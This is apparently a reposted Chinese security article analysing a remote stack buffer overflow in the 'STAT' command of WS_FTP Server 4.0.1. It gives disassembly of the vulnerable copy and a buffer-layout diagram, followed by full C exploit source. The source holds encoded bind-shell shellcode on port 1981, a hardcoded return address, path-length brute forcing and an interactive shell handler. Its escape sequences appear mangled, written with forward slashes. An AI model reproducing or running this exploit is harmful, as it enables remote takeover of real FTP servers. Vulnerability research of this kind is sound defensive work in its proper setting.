【实战】WS_FTP FTPD "STAT"命令远程溢出分析
2005-03-30 08:03
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WS_FTP FTPD "STAT"命令远程溢出分析
创建时间：2003-10-22文章属性：原创
文章提交：eyas (eyas_at_xfocus.org)
WS_FTP FTPD "STAT"命令远程溢出分析
Author : eyas<eyas@xfocus.org>
Created : 2003-10-08
Updated : 2003-10-22
开始我并不知道2003-09-04在http://www.securityfocus.com/bid/8542就公布
了这个漏洞，上面写的发现者是pejman。我是10月份的时候从Dvdman@l33tsecurity.com
处得知这个漏洞的信息的，可能是dvdman也独立发现了这个漏洞吧。
以下分析基于WS_FTP Server 4.0.1.EVAL (47156314)版本，只分析“STAT”命令溢出
的情况。
事实上，WS_FTP在处理STAT命令时，很多地方都有长度判断，但是，有一个地方他遗漏了，
那么，我们的机会就来了。:)
漏洞函数引用关系如下：
loc_41200D <- [0]
|_ sub_41B523
|_ sub_424BC1
|_ lstrlenA <- [1]
|_ sub_424DD8
|_ sub_42D75F
|_ lstrcpyA <- [2]
[0]判断是否"STAT"命令
.text:0041200D loc_41200D:
.text:0041200D push offset aStat_0
.text:00412012 mov ecx, [ebp+8]
.text:00412015 push ecx
.text:00412016 call __strcmpi
.text:0041201B add esp, 8
.text:0041201E test eax, eax
.text:00412020 jnz short loc_41202F
.text:00412022 mov ecx, [ebp-4]
.text:00412025 call sub_41B523
.text:0041202A jmp loc_412775
[1]长度判断，file full path name 长度不能超过0x200
.text:00424D4A mov eax, [ebp+lpString2] ; our_buff
.text:00424D4D push eax ; lpString
.text:00424D4E call ds:lstrlenA
.text:00424D54 mov ecx, [ebp+var_8] ; get path len
.text:00424D57 add ecx, eax ; get total len
.text:00424D59 mov [ebp+var_8], ecx
.text:00424D5C mov edx, [ebp+var_8]
//total len compare with 0x200
.text:00424D5F cmp edx, [ebp+arg_10] ;
.text:00424D62 jle short loc_424D69 //<- need jmp
.text:00424D64 mov eax, [ebp+var_4]
.text:00424D67 jmp short loc_424DD2 //<- exit!
[2]file full path name copy to stack buffer,overflow!!
.text:0042D7C3 mov eax, [ebp+8] //<- file full path name
.text:0042D7C6 push eax ; lpString2
.text:0042D7C7 lea ecx, [ebp-0x118]
.text:0042D7CD push ecx ; lpString1
.text:0042D7CE call ds:lstrcpyA
......
.text:0042DD9B retn 8
看起来是个简单的堆栈溢出，但利用起来挺麻烦的。因为：
1)我们不知道路径长度，所以不能准确的覆盖函数返回地址。
2)BUFF长度最大只能有0x200(包括路径)，溢出点在0x118，不管是前面和后面，
存放sc的空间都不大，放个得到cmd shell的sc是不够的。除非搞个tiny的shellcode。
这个有点象IIS WEBDAV溢出的利用，不过这比WEBDAV简单得多。
其实我们可以利用长度判断的限制，准确的猜测到路径的长度，并且猜测过程中不会把
ws_ftp搞当掉，而且在猜中的同时准确的把jmp esp的地址覆盖在函数的返回地址上。
如何猜测路径长度我就不罗嗦了，可以参见<<WebDav漏洞简单分析及通用exploit设计>>这篇
文章。
为什么不覆盖SEH?没错，出现溢出的函数sub_42D75F它自己是建立了异常处理函数，并且我们
可以覆盖到，但是溢出后，sub_42D75F函数在后续操作中、直到它返回也不会触发异常。并且因为
buff长度有限，上级的SEH覆盖不了，所以我们只有覆盖返回地址这条路可走了。
为了写这个exp，还专门修改了一下sc，我们发送的buff结构如下：
+------------------------------------------------+
| |
|path|pad1|sc1|jmp 0x2c|nop(0x14)|ret|nop(8)|jmp back(5)|nop(7)|sc2|pad2|
| |
+--------------------------------------+
|<--------- 0x118+4 bytes ------>|<------- 0x200-1-0x118-4 bytes ------>|
1) path不是我们发送的。
2) 函数ret的时候是retn 8，所以要有nop(8)。
3) 溢出后，函数有两个变量会被改变，所以要有nop(0x14)来跳过。
4) nop(7) for what? I don't tell you. ^_^
That's ALL!
如果有错误的地方请斧正，如果你有更好的idea，与我分享？谢谢！
/* x-ws_ftp.c - x86/win32 WS_FTP FTPD "STAT" command remote
* stack buffer overflow exploit
*
* (C) COPYRIGHT XFOCUS Security Team, 2003
* All Rights Reserved
*
* -----------------------------------------------------------------------
* Author : eyas <eyas@xfocus.org>
* : http://www.xfocus.org
* Maintain : XFOCUS Security Team <security@xfocus.org>
* Version : 1.0
*
* Test : Windows 2000 server EN
* + WS_FTP Server 4.0.1.EVAL (46006050)
* Notes : This vul discover by Dvdman@l33tsecurity.com!
To exploit this vul, you must have a account can login into ws_ftp.
* Greets : dvdman and all member of XFOCUS Security Team.
* Complie : cl x-ws_ftp.c
* Usage : x-ws_ftp.exe <-i ip> <-t type> <-u user> <-p pass> [-l pathlen] [-P port]
* [type]
* 0 win2k sp4 user32.dll
*
* Add more targets's jmp esp addr by yourself,
* and then pls email a copy to me, thanks. :)
*
* Date : 2003-10-08
* Revised :
*
* Revise History:
*
* ------- start rip from dvdman's exp -----------------
* VULN VERSIONS: <= X2 WS_FTP Server 4.0.1 (1323562169)
* VULN COMMANDS: APPE,STOR,STAT,RMD,RNFR,RNTO,AND MORE
* -------- rip end ------------------------------------
*/
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#pragma comment(lib,"ws2_32")
#define maxlen (0x200-1)//能够触发溢出的最大长度
#define overpoint (0x118+4)//溢出点
#define sc_jmp_addr_offset (0xa4+22)//sc中存放jmp addr的offset
#define mini_path 0xf//最短路径
#define ERR_EXP_OK 0
#define ERR_EXP_CONNECT -1
#define ERR_EXP_FAILED 1
#define version "1.0"
//modify it by yourself
struct
{
DWORD dwJMP;
char *szDescription;
}targets[] =
{
{0x77E14C29, "win2k sp4 user32.dll"},
},v;
//total = 366 (0x16E) bytes (xor with 0x93)
unsigned char sc_bind_1981[]=
//decoder 22 bytes ->动态定位需解码sc地址
"/xEB/x0F/x5B/x80/x33/x93/x43/x81/x3B/x45/x59/x34/x53/x75/xF4/x74"
"/x05/xE8/xEC/xFF/xFF/xFF"
//sc_bind_1981 for 2k/xp/2003 by ey4s
//speacial version for ws_ftp base on v1.03.10.07
//XOR with 0x93 (367 0x16F bytes)
"/x12/x7F/x93/x91/x93/x93/x7A/xA4/x92/x93/x93/xCC/xF7/x32/xA3/x93"
"/x93/x93/x18/xD3/x9F/x18/xE3/x8F/x3E/x18/xFB/x9B/xF9/x97/xCA/x7B"
"/x4A/x93/x93/x93/x71/x6A/xFB/xA0/xA1/x93/x93/xFB/xE4/xE0/xA1/xCC"
"/xC7/x6C/xC4/x6F/x18/x7B/xF9/x95/xCA/x7B/x2C/x93/x93/x93/x71/x6A"
"/x12/x7F/x03/x92/x93/x93/xC7/xFB/x91/x91/x93/x93/x6C/xC4/x7B/xC3"
"/xC3/xC3/xC3/xF9/x92/xF9/x91/x6C/xC4/x63/x18/x4B/x18/x7F/x54/xD6"
"/x93/x91/x93/x94/x2E/xA0/x53/x1A/xD6/x97/xF9/x83/xC6/xC0/x6C/xC4"
"/x67/xC0/xF9/x92/xC0/x6C/xC4/x6B/xC3/xC3/xC0/x6C/xC4/x6F/xC3/x10"
"/x7F/xCB/x18/x67/xA0/x48/xF9/x83/xCA/x1A/x8F/x1D/x71/x68/x78/xBF"
"/xD3/xD3/xD3/xD3/xD3/xD3/xD3/xD3/xD3/xD3/xD3/xD3/xD3/xD3/xD3/xD3"
"/xD3/xD3/xD3/xD3/x03/x03/x03/x03/xD3/xD3/xD3/xD3/xD3/xD3/xD3/xD3"
"/xE9/x35/xFF/xFF/xFF/xD3/xD3/xD3/xD3/xD3/xD3/xD3/x1A/xD5/xAB/x1A"
"/xD5/xAF/x1A/xD5/xD3/x54/xD5/xBF/x92/x92/x93/x93/x1E/xD5/xD7/xC3"
"/xC5/xC0/xC0/xC0/xF9/x92/xC0/xC0/x1E/xD5/xC7/x54/x93/xF0/xFE/xF7"
"/x93/xC3/xC0/x6C/xC4/x73/xA0/x53/xDB/xC3/x6C/xE5/xD7/x6C/xC4/x4F"
"/x10/x57/xCB/x6C/xC4/x7F/x6C/xC4/x7F/xC3/x6C/xC4/x4B/xC2/x18/xE6"
"/xAF/x18/xE7/xBD/xEB/x90/x66/xC5/x18/xE5/xB3/x90/x66/xA0/x5A/xDA"
"/xD2/x3E/x90/x56/xA0/x48/xA0/x41/x9C/x2D/x83/xA9/x45/xE7/x9B/x52"
"/x58/x88/x90/x49/xD3/x78/x7C/xA8/x8C/xE6/x76/xCD/x18/xCD/xB7/x90"
"/x4E/xF5/x18/x9F/xD8/x18/xCD/x8F/x90/x4E/x18/x97/x18/x90/x56/x38"
"/xCA/x50/x7B/x57/x6D/x6C/x6C/x7A/x28/x50/x3D/x27/xEE/x86/x0B/x58"
"/xD1/xE4/x2B/x4F/x4E/x89/xA0/xBE/x87/xC5/x3D/x55/xB8/x2E/xBD/x4D"
"/xC4/xE1/x37/xB7/x21/xA1/x93/x9D/xCE/x58/x4D/xE7/xB1/xF0/x5B"
//decode end sign
"/x45/x59/x34/x53";
unsigned char *szSend[3];
unsigned char szSTAT[0x1000];
int iType;
int iPort=21;
char *ip=NULL, *pUser=NULL, *pPass=NULL;
char user[128],pass[128];
void shell (int sock);
void usage(char *p);
int SendExploit(int iPathLen);
void main(int argc, char **argv)
{
int i, iPathLen=0, ret;
printf( "WS_FTP FTPD remote stack buffer overflow exp v%s/n"
"This version can exploit WS_FTP Server 4.0.1.EVAL/n"
"Vul discover by Dvdman@l33tsecurity.com/n"
"Code by eyas@xfocus.org/n"
"http://www.xfocus.net/n"
"Create: 2003-10-08/n", version);
if(argc < 9)
{
usage(argv[0]);
return;
}
for(i=1;i<argc;i+=2)
{
if(strlen(argv[i]) != 2)
{
usage(argv[0]);
return;
}
//检查是否缺少参数
if(i == argc-1)
{
usage(argv[0]);
return;
}
switch(argv[i][1])
{
case 'i':
ip=argv[i+1];
break;
case 't':
iType = atoi(argv[i+1]);
break;
case 'P':
iPort=atoi(argv[i+1]);
break;
case 'p':
pPass = argv[i+1];
break;
case 'u':
pUser=argv[i+1];
break;
case 'l':
iPathLen=atoi(argv[i+1]);
break;
}
}
if((!ip) || (!user) || (!pass))
{
usage(argv[0]);
printf("[-] Invalid parameter./n");
return;
}
if( (iType<0) || (iType>=sizeof(targets)/sizeof(v)) )
{
usage(argv[0]);
printf("[-] Invalid type./n");
return;
}
if( (iPathLen>0) && (iPathLen<mini_path) )
{
printf("[-] Hey, guy, mini path is %d./n", mini_path);
return;
}
_snprintf(user, sizeof(user)-1, "USER %s/r/n", pUser);
user[sizeof(user)-1]='/0';
_snprintf(pass, sizeof(pass)-1, "PASS %s/r/n", pPass);
pass[sizeof(pass)-1]='/0';
szSend[0] = user;//user
szSend[1] = pass;//pass
szSend[2] = szSTAT;
if(iPathLen)
SendExploit(iPathLen);
else
{
for(i=mini_path;;i++)
{
ret = SendExploit(i);
switch(ret)
{
case ERR_EXP_FAILED:
break;
case ERR_EXP_CONNECT:
case ERR_EXP_OK:
return;
break;
}
}
}
return;
}
/* ripped from TESO code and modifed by ey4s for win32 */
void shell (int sock)
{
int l;
char buf[512];
struct timeval time;
unsigned long ul[2];
time.tv_sec = 1;
time.tv_usec = 0;
while (1)
{
ul[0] = 1;
ul[1] = sock;
l = select (0, (fd_set *)&ul, NULL, NULL, &time);
if(l == 1)
{
l = recv (sock, buf, sizeof (buf), 0);
if (l <= 0)
{
printf ("[-] Connection closed./n");
return;
}
l = write (1, buf, l);
if (l <= 0)
{
printf ("[-] Connection closed./n");
return;
}
}
else
{
l = read (0, buf, sizeof (buf));
if (l <= 0)
{
printf("[-] Connection closed./n");
return;
}
l = send(sock, buf, l, 0);
if (l <= 0)
{
printf("[-] Connection closed./n");
return;
}
}
}
}
void usage(char *p)
{
int i;
printf( "Usage: %s <-i ip> <-t type> <-u user> <-p pass> [-l pathlen] [-P port]/n"
"[type]/n", p);
for(i=0;i<sizeof(targets)/sizeof(v);i++)
{
printf("%d/t%s/n", i, targets[i].szDescription);
}
}
int SendExploit(int iPathLen)
{
struct sockaddr_in sa, server;
WSADATA wsd;
SOCKET s,s2;
int i,iErr, ret, pad1,pad2;
char szRecvBuff[0x1000];
int retcode = ERR_EXP_CONNECT;
printf("/n[+] -=-= Try type %d, path %d. -=-=/n", iType, iPathLen);
memcpy(&sc_bind_1981[sc_jmp_addr_offset], &targets[iType].dwJMP, 4);
memset(szSTAT, 0, sizeof(szSTAT));
strcpy(szSTAT, "STAT ");
//计算第一部分填充多少字节
//如果path估算小了，那么buff就会超过0x200，就不会溢出了:)
pad1 = overpoint - sc_jmp_addr_offset - iPathLen;
if(pad1<0)
{
printf( "[-] You can't try any more, path reach the max vaule./n"
" If you want to try longer path, change the sc by
yourself./n");
exit(1);
}
for(i=0;i<pad1;i++)
strcat(szSTAT, "a");
strcat(szSTAT, sc_bind_1981);
//计算后面要填充多少字节
pad2 = maxlen - overpoint;
//减去已经填充的
pad2 -= (sizeof(sc_bind_1981)-1-sc_jmp_addr_offset);
if(pad2<0)
{
printf("[-] shellcode too long./n");
exit(1);
}
for(i=0;i<pad2;i++)
strcat(szSTAT, "b");
strcat(szSTAT, "/r/n");
if(strlen(szSTAT) >= sizeof(szSTAT))
{
printf("[-] stack buffer overflow./n");
exit(1);
}
__try
{
if (WSAStartup(MAKEWORD(1,1), &wsd) != 0)
{
printf("[-] WSAStartup error:%d/n", WSAGetLastError());
__leave;
}
s=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(s == INVALID_SOCKET)
{
printf("[-] Create socket failed:%d",GetLastError());
__leave;
}
sa.sin_family=AF_INET;
sa.sin_port=htons(iPort);
sa.sin_addr.S_un.S_addr=inet_addr(ip);
iErr = connect(s,(struct sockaddr *)&sa,sizeof(sa));
if(iErr == SOCKET_ERROR)
{
printf("[-] connect to target:21 error:%d/n", GetLastError());
__leave;
}
printf("[+] connect to %s:%d success./n", ip, iPort);
Sleep(1000);
for(i=0;i<sizeof(szSend)/sizeof(szSend[0]);i++)
{
memset(szRecvBuff, 0, sizeof(szRecvBuff));
iErr = recv(s, szRecvBuff, sizeof(szRecvBuff), 0);
if(iErr == SOCKET_ERROR)
{
printf("[-] recv buffer error:%d./n", WSAGetLastError());
__leave;
}
printf("[+] Recv: %s", szRecvBuff);
iErr = send(s, szSend[i], strlen(szSend[i]),0);
if(iErr == SOCKET_ERROR)
{
printf("[-] send buffer error:%d./n", WSAGetLastError());
__leave;
}
if(i==sizeof(szSend)/sizeof(szSend[0])-1)
printf("[+] Send shellcode %d(0x%X) bytes./n", iErr, iErr);
else
printf("[+] Send: %s", szSend[i]);
Sleep(100);
}
printf("[+] Wait from shell./n");
Sleep(2000);
s2 = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
server.sin_family = AF_INET;
server.sin_port = htons(1981);
server.sin_addr.s_addr=inet_addr(ip);
ret = connect(s2, (struct sockaddr *)&server, sizeof(server));
if(ret!=0)
{
printf("[-] Exploit seem failed./n");
retcode = ERR_EXP_FAILED;
__leave;
}
printf("[+] Exploit success! Have fun! :)/n");
shell(s2);
retcode = ERR_EXP_OK;
}
__finally
{
if(s != INVALID_SOCKET) closesocket(s);
if(s2 != INVALID_SOCKET) closesocket(s);
WSACleanup();
}
return retcode;
}
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